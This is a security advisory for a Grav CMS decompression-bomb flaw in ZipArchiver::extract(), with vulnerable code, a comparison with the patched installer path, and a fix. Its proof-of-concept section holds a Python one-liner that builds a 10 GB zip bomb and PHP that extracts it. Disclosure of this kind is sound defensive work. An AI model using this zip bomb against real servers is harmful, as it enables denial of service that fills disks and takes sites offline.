GHSA-928X-9MPW-8H56
Vulnerability from github – Published: 2026-09-02 21:35 – Updated: 2026-09-02 21:35Summary
ZipArchiver::extract() lacks limits on uncompressed size, file count, and nesting depth, creating a distinct, unpatched variant of the GHSA-2vcx-h8p2-9pg9 zip bomb vulnerability. While the parallel method Installer::unZip() received comprehensive limits, ZipArchiver::extract() remains unprotected, leaving a separate code path vulnerable to the same attack vector. The vulnerability is a distinct, unpatched variant of the bug described in GHSA-2vcx-h8p2-9pg9, as it affects a separate code path in the same codebase, implementing the same abstract class.
Details
Vulnerable code - system/src/Grav/Common/Filesystem/ZipArchiver.php:29-58:
public function extract($destination, ?callable $status = null)
{
$zip = new ZipArchive();
$archive = $zip->open($this->archive_file);
if ($archive === true) {
Folder::create($destination);
// Only guards against Zip Slip (path traversal)
for ($i = 0, $count = $zip->count(); $i < $count; $i++) {
$name = $zip->getNameIndex($i);
if ($name !== false && !$this->isSafeEntryPath($name)) {
$zip->close();
throw new RuntimeException(...);
}
}
// Extracts EVERYTHING — no size, count, or depth limit
if (!$zip->extractTo($destination)) { ... }
$zip->close();
return $this;
}
}
What's missing vs Installer::unZip():
| Protection | Installer::unZip() |
ZipArchiver::extract() |
|---|---|---|
| Zip Slip guard | ✅ | ✅ |
| Max uncompressed size | ✅ (1 GiB) | ❌ |
| Max file count | ✅ (50000) | ❌ |
| Max nesting depth | ✅ (48) | ❌ |
| Pre-extraction validation | ✅ All entries validated first | ❌ Extracts immediately |
The fix applied to Installer (GHSA-2vcx, Installer.php:178-269):
// GHSA-2vcx-h8p2-9pg9: bound what extractTo() will write to disk.
$limits = $this->archiveLimits();
$size = $count = $depth = 0;
for ($i = 0; $i < $numFiles; $i++) {
$entryName = $zip->getNameIndex($i);
// Check size, count, and depth BEFORE extracting anything
if ($limits['maxSize'] > 0) { $size += $entry['size']; }
if ($limits['maxDepth'] > 0) { ... }
if ($limits['maxFiles'] > 0) { $count++; }
// Reject if any limit exceeded
}
// Only now: $zip->extractTo($destination);
None of this validation exists in ZipArchiver::extract().
Reachability: ZipArchiver::extract() is a public method on a concrete class, accessible via the Archiver::create('zip') factory. While no first-party Grav code currently calls extract() on a ZipArchiver instance, third-party plugins and custom code that use the Archiver abstraction for ZIP restoration will walk directly into this unprotected path.
Proof of Concept
Step 1 - Create a zip bomb
# Create a 10 GB zip bomb (42 kB compressed)
python3 -c "
import zipfile, os
z = zipfile.ZipFile('/tmp/zipbomb.zip', 'w', zipfile.ZIP_DEFLATED)
zeros = b'\x00' * (1024 * 1024 * 1024) # 1 GB of zeros
for i in range(10):
z.writestr(f'file_{i}.txt', zeros)
z.close()
"
ls -lh /tmp/zipbomb.zip
# Output: 42K /tmp/zipbomb.zip → expands to 10 GB
Step 2 - Extract via ZipArchiver
$archiver = Archiver::create('zip');
$archiver->setArchive('/tmp/zipbomb.zip');
$archiver->extract('/tmp/extracted'); // ← no limits, fills disk
The server's disk fills with 10 GB of data. If the web root shares the disk, the site becomes unavailable (DoS).
Impact
Any code path that extracts a user-supplied ZIP archive through ZipArchiver::extract() will write the entire archive to disk without limits. A 42 KB zip bomb can expand to fill available disk space, causing denial of service. On systems where the extraction directory shares a partition with the web root, the entire site becomes unavailable.
Remediation
Apply the same archiveLimits() validation from Installer::unZip() to ZipArchiver::extract():
public function extract($destination, ?callable $status = null)
{
$zip = new ZipArchive();
$archive = $zip->open($this->archive_file);
if ($archive === true) {
Folder::create($destination);
// Apply the same archive limits as Installer::unZip()
$limits = $this->archiveLimits();
$totalSize = 0;
$totalFiles = 0;
for ($i = 0, $count = $zip->count(); $i < $count; $i++) {
$name = $zip->getNameIndex($i);
if ($name === false) continue;
// Zip Slip guard (existing)
if (!$this->isSafeEntryPath($name)) {
$zip->close();
throw new RuntimeException(...);
}
// Decompression bomb guards (NEW)
$stat = $zip->statIndex($i);
$totalSize += $stat['size'] ?? 0;
$totalFiles++;
$depth = count(explode('/', trim($name, '/')));
if ($limits['maxDepth'] > 0 && $depth > $limits['maxDepth']) {
$zip->close();
throw new RuntimeException('Archive exceeds max nesting depth');
}
}
if ($limits['maxSize'] > 0 && $totalSize > $limits['maxSize']) {
$zip->close();
throw new RuntimeException('Archive exceeds max uncompressed size');
}
if ($limits['maxFiles'] > 0 && $totalFiles > $limits['maxFiles']) {
$zip->close();
throw new RuntimeException('Archive exceeds max file count');
}
if (!$zip->extractTo($destination)) { ... }
$zip->close();
return $this;
}
}
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "getgrav/grav"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-61690"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-02T21:35:43Z",
"nvd_published_at": "2026-08-19T16:18:16Z",
"severity": "MODERATE"
},
"details": "## Summary\n`ZipArchiver::extract()` lacks limits on uncompressed size, file count, and nesting depth, creating a distinct, unpatched variant of the GHSA-2vcx-h8p2-9pg9 zip bomb vulnerability. While the parallel method Installer::unZip() received comprehensive limits, ZipArchiver::extract() remains unprotected, leaving a separate code path vulnerable to the same attack vector. The vulnerability is a distinct, unpatched variant of the bug described in GHSA-2vcx-h8p2-9pg9, as it affects a separate code path in the same codebase, implementing the same abstract class.\n\n---\n\n## Details\n\n**Vulnerable code** - `system/src/Grav/Common/Filesystem/ZipArchiver.php:29-58`:\n\n```php\npublic function extract($destination, ?callable $status = null)\n{\n $zip = new ZipArchive();\n $archive = $zip-\u003eopen($this-\u003earchive_file);\n\n if ($archive === true) {\n Folder::create($destination);\n\n // Only guards against Zip Slip (path traversal)\n for ($i = 0, $count = $zip-\u003ecount(); $i \u003c $count; $i++) {\n $name = $zip-\u003egetNameIndex($i);\n if ($name !== false \u0026\u0026 !$this-\u003eisSafeEntryPath($name)) {\n $zip-\u003eclose();\n throw new RuntimeException(...);\n }\n }\n\n // Extracts EVERYTHING \u2014 no size, count, or depth limit\n if (!$zip-\u003eextractTo($destination)) { ... }\n\n $zip-\u003eclose();\n return $this;\n }\n}\n```\n\n**What\u0027s missing vs `Installer::unZip()`**:\n\n| Protection | `Installer::unZip()` | `ZipArchiver::extract()` |\n|-----------|---------------------|------------------------|\n| Zip Slip guard | \u2705 | \u2705 |\n| Max uncompressed size | \u2705 (1 GiB) | \u274c |\n| Max file count | \u2705 (50000) | \u274c |\n| Max nesting depth | \u2705 (48) | \u274c |\n| Pre-extraction validation | \u2705 All entries validated first | \u274c Extracts immediately |\n\n**The fix applied to Installer** (GHSA-2vcx, `Installer.php:178-269`):\n\n```php\n// GHSA-2vcx-h8p2-9pg9: bound what extractTo() will write to disk.\n$limits = $this-\u003earchiveLimits();\n$size = $count = $depth = 0;\n\nfor ($i = 0; $i \u003c $numFiles; $i++) {\n $entryName = $zip-\u003egetNameIndex($i);\n // Check size, count, and depth BEFORE extracting anything\n if ($limits[\u0027maxSize\u0027] \u003e 0) { $size += $entry[\u0027size\u0027]; }\n if ($limits[\u0027maxDepth\u0027] \u003e 0) { ... }\n if ($limits[\u0027maxFiles\u0027] \u003e 0) { $count++; }\n // Reject if any limit exceeded\n}\n// Only now: $zip-\u003eextractTo($destination);\n```\n\nNone of this validation exists in `ZipArchiver::extract()`.\n\n**Reachability**: `ZipArchiver::extract()` is a public method on a concrete class, accessible via the `Archiver::create(\u0027zip\u0027)` factory. While no first-party Grav code currently calls `extract()` on a `ZipArchiver` instance, third-party plugins and custom code that use the `Archiver` abstraction for ZIP restoration will walk directly into this unprotected path.\n\n---\n\n## Proof of Concept\n\n### Step 1 - Create a zip bomb\n\n```bash\n# Create a 10 GB zip bomb (42 kB compressed)\npython3 -c \"\nimport zipfile, os\nz = zipfile.ZipFile(\u0027/tmp/zipbomb.zip\u0027, \u0027w\u0027, zipfile.ZIP_DEFLATED)\nzeros = b\u0027\\x00\u0027 * (1024 * 1024 * 1024) # 1 GB of zeros\nfor i in range(10):\n z.writestr(f\u0027file_{i}.txt\u0027, zeros)\nz.close()\n\"\nls -lh /tmp/zipbomb.zip\n# Output: 42K /tmp/zipbomb.zip \u2192 expands to 10 GB\n```\n\n### Step 2 - Extract via ZipArchiver\n\n```php\n$archiver = Archiver::create(\u0027zip\u0027);\n$archiver-\u003esetArchive(\u0027/tmp/zipbomb.zip\u0027);\n$archiver-\u003eextract(\u0027/tmp/extracted\u0027); // \u2190 no limits, fills disk\n```\n\nThe server\u0027s disk fills with 10 GB of data. If the web root shares the disk, the site becomes unavailable (DoS).\n\n---\n\n## Impact\n\nAny code path that extracts a user-supplied ZIP archive through `ZipArchiver::extract()` will write the entire archive to disk without limits. A 42 KB zip bomb can expand to fill available disk space, causing denial of service. On systems where the extraction directory shares a partition with the web root, the entire site becomes unavailable.\n\n---\n\n## Remediation\n\nApply the same `archiveLimits()` validation from `Installer::unZip()` to `ZipArchiver::extract()`:\n\n```php\npublic function extract($destination, ?callable $status = null)\n{\n $zip = new ZipArchive();\n $archive = $zip-\u003eopen($this-\u003earchive_file);\n\n if ($archive === true) {\n Folder::create($destination);\n\n // Apply the same archive limits as Installer::unZip()\n $limits = $this-\u003earchiveLimits();\n $totalSize = 0;\n $totalFiles = 0;\n\n for ($i = 0, $count = $zip-\u003ecount(); $i \u003c $count; $i++) {\n $name = $zip-\u003egetNameIndex($i);\n if ($name === false) continue;\n\n // Zip Slip guard (existing)\n if (!$this-\u003eisSafeEntryPath($name)) {\n $zip-\u003eclose();\n throw new RuntimeException(...);\n }\n\n // Decompression bomb guards (NEW)\n $stat = $zip-\u003estatIndex($i);\n $totalSize += $stat[\u0027size\u0027] ?? 0;\n $totalFiles++;\n\n $depth = count(explode(\u0027/\u0027, trim($name, \u0027/\u0027)));\n if ($limits[\u0027maxDepth\u0027] \u003e 0 \u0026\u0026 $depth \u003e $limits[\u0027maxDepth\u0027]) {\n $zip-\u003eclose();\n throw new RuntimeException(\u0027Archive exceeds max nesting depth\u0027);\n }\n }\n\n if ($limits[\u0027maxSize\u0027] \u003e 0 \u0026\u0026 $totalSize \u003e $limits[\u0027maxSize\u0027]) {\n $zip-\u003eclose();\n throw new RuntimeException(\u0027Archive exceeds max uncompressed size\u0027);\n }\n if ($limits[\u0027maxFiles\u0027] \u003e 0 \u0026\u0026 $totalFiles \u003e $limits[\u0027maxFiles\u0027]) {\n $zip-\u003eclose();\n throw new RuntimeException(\u0027Archive exceeds max file count\u0027);\n }\n\n if (!$zip-\u003eextractTo($destination)) { ... }\n $zip-\u003eclose();\n return $this;\n }\n}\n```",
"id": "GHSA-928x-9mpw-8h56",
"modified": "2026-09-02T21:35:43Z",
"published": "2026-09-02T21:35:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-928x-9mpw-8h56"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61690"
},
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/commit/1c1003cfcab5344203d6fde1aaa1f9a4ee3413ff"
},
{
"type": "PACKAGE",
"url": "https://github.com/getgrav/grav"
},
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/releases/tag/2.0.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Grav: Decompression Bomb via ZipArchiver - Missing Extraction Limits"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.